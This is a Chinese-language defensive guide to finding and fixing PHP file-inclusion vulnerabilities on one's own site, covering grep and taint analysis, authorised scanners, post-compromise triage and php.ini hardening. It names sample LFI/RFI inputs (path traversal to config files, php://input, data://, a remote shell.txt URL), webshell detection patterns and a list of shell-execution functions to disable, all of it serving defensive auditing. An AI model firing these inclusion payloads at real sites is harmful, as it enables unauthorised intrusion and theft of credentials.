PHP 文件包含漏洞怎么自查?静态排查、授权扫描与加固清单
“PHP 文件包含漏洞扫描”这件事有两种动机:一种是攻击,另一种是自查。本文只讲后者——站在站点所有者/开发者的位置,教你怎么用开源工具发现自己的 include/require 写错了,以及发现后如何修复。未经授权扫描他人系统属于违法行为,任何工具都只对你拥有或已获书面授权的资产使用。

一、文件包含漏洞为什么会产生
PHP 的包含语句接受变量:include $_GET['page'] . '.php';。只要攻击者能控制 page,就可能出现两类问题:
- 本地文件包含(LFI):
?page=../../config/config_global(截断扩展名后读到配置里的数据库密码);?page=/proc/self/environ、?page=php://input、?page=data://等伪协议在某些配置下可直接执行代码; - 远程文件包含(RFI):当
allow_url_include = On时,?page=http://外部/shell.txt?会把远程内容当 PHP 执行。PHP 5.4 起该选项默认 Off,这是历史遗留代码才有的高危配置。
二、先做静态自查:不用扫别人,先扫自己
这是最安全也最有效的第一步。在自己项目的服务器上跑:
1. RIPS / PSalm / PHPStan 类静态分析
- PSR 兼容的现代方案:
composer require --dev vimeo/psalm,配置taintAnalysis后能追踪“用户输入($_GET)→ sink(include)”的数据流,报TaintedInput。 - PHPStan +
security扩展,可检查危险函数调用。 - RIPS(源戳
ripstech系列)是早年专做 PHP 污点分析的工具,思路至今值得参考,但版本较老,生产建议用 Psalm。
2. grep 快速摸底(五分钟出结果)
# 找出所有把变量直接交给 include/require 的位置 grep -rnE '(include|require)(_once)?[[:space:]]*[(&]?\$' --include='*.php' .找拼接式包含
grep -rnE “(include|require)(once)?[^;]*\$(GET|POST|REQUEST|COOKIE)” --include=‘*.php’ .
检查危险配置
php -i | grep -E ‘allow_url_include|allow_url_fopen|open_basedir|disable_functions|expose_php’
命中的每一条都要人工看一遍。真正安全的写法是白名单映射:
$pages = ['home' => 'page_home.php', 'about' => 'page_about.php'];
$name = $_GET['page'] ?? 'home';
if (!isset($pages[$name])) { http_response_code(404); exit; }
include __DIR__ . '/pages/' . $pages[$name];
要点:basename() 只能防路径穿越,防不了伪协议与拼接;realpath() 检查前缀是次优方案;能用固定映射就不要用用户输入拼路径。
三、动态自查:对自有站点跑扫描器
下面是通用 Web 漏洞扫描工具,它们都包含“文件包含/路径穿越”类检测规则。仅在自有或已授权环境使用:
- OWASP ZAP(https://www.zaproxy.org/ ,开源免费):支持主动扫描 + API(
zap-cli quick-scan --spider -r https://你的站点);有Path Traversal、Remote File Inclusion、Local File Inclusion规则。 - wpscan(针对 WordPress):
wpscan --url https://站点 --enumerate vp,vt,u,重点是插件漏洞,WordPress 的 RCE 大多出在第三方插件; - nikto:
nikto -h https://站点,擅长发现危险文件暴露(/phpmyadmin/、备份文件.bak、调试页); - Nuclei(https://nuclei.projectdiscovery.io/ ):模板化漏洞检测,规则库更新极快,适合每日跑一遍:
nuclei -u https://你的站点 -t http/vulnerabilities/ -severity critical,high -rl rate.txt
- Acunetix / Burp Suite Professional:商业方案,报告更适合给客户看。
扫描配置三原则:(1) 在测试环境扫,别在生产库上开全量主动扫描(会写脏数据、可能触发锁表);(2) 限速(ZAP 里 threads 与 delay 参数),否则自己把自己 DDoS 了;(3) 排除后台的破坏性接口(形如 ?op=delete&id=),扫描器会自动点“删除”。ZAP 可在 Anti-CSRF token 与 Scan Policies 里禁用表单提交类动作。
四、发现被入侵后的排查顺序
扫描器报警≠已沦陷,但服务器异常要按这套流程查:
- 找可疑 PHP:
find /www -name '*.php' -newermt '2024-05-01' -mtime -7(近 7 天改动)grep -rlE 'eval\(base64_decode|assert\(|str_rot13|gzinflate' --include='*.php' /www
这些是常见“一句话木马/加密马”特征; - 看上传目录里的可执行文件:
ls -l /www/uploads/*.php,正常情况下业务不该往上传目录写 PHP; - 查 web 日志:Nginx
access.log里统计异常 UA 与查询串:grep -E 'php://|data://|/proc/self|\.\./' access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head; - 验证文件完整性:对官方包做哈希比对,如 Discuz 可用
/usr/local/bin/checkfile.sh(自带uc_server/data/checkfile类校验工具),比对md5sum清单; - 看计划任务与启动项:
crontab -l、/etc/cron.d/*、systemctl list-timers;挖矿马常在这些地方落地; - 确认 Web 进程账号:
ps -ef | grep -E 'php-fpm|nginx|apache' | head,跑在 root 下是重大隐患。
五、修复与加固清单
php.ini:allow_url_include = Off、配open_basedir = /www:/tmp(限定站点目录)、disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,parse_ini_file,show_source,highlight_file(按业务需要取舍,注意有些 CMS 依赖curl_exec);- Web 服务器:
upload、data、attachment目录一律禁止 PHP 执行(Nginxlocation ~ ^/uploads/.*\.php$ { deny all; }); - 文件权限:Web 用户对代码目录只读(不要给它写权限),只让上传目录可写;
- 代码层:模板变量不来自请求体;把
include改成固定白名单;上传文件重命名 + 类型白名单 + 二次处理(图片重编码); - 依赖层:升级 PHP 到 8.1/8.2 支持的稳定版本,同步升级框架与插件;订阅官方安全公告与 CVE 通告;
- 监控层:
inotifywait监听代码目录变更,或用 WAF 日志 + 每日 Nuclei 基线扫描对比报告。
六、常见问题 FAQ
问:扫描器报了 “Local File Inclusion”,是真的吗?
答:需要人工确认。ZAP/Nuclei 的路径穿越规则常用 /etc/passwd 等哨兵,命中后必须看响应体是否真的包含文件内容,很多是“误报的页面回显”。
问:allow_url_include 关了是不是就没有包含漏洞?
答:不是。关闭它只挡住了 RFI,LFI 依然可以读取配置文件、日志文件(配合日志投毒)、上传目录内的文件,仍需白名单方案。
问:能装个插件自动修复吗?
答:不能。这类问题是代码写法问题,只有改代码才根治;WAF 只能缓解外部请求。
立场明确一句:扫描工具用来给自己做体检,而不是给别人的门配钥匙。自查的顺序永远是——读代码(grep/污点分析)→ 看配置(php.ini)→ 跑扫描器(授权环境)→ 比对文件哈希 → 加固。
生产内容,同时打通搜索引擎(SEO)与AI搜索引擎(GEO)流量入口的软件! 点击进入365建站器 »
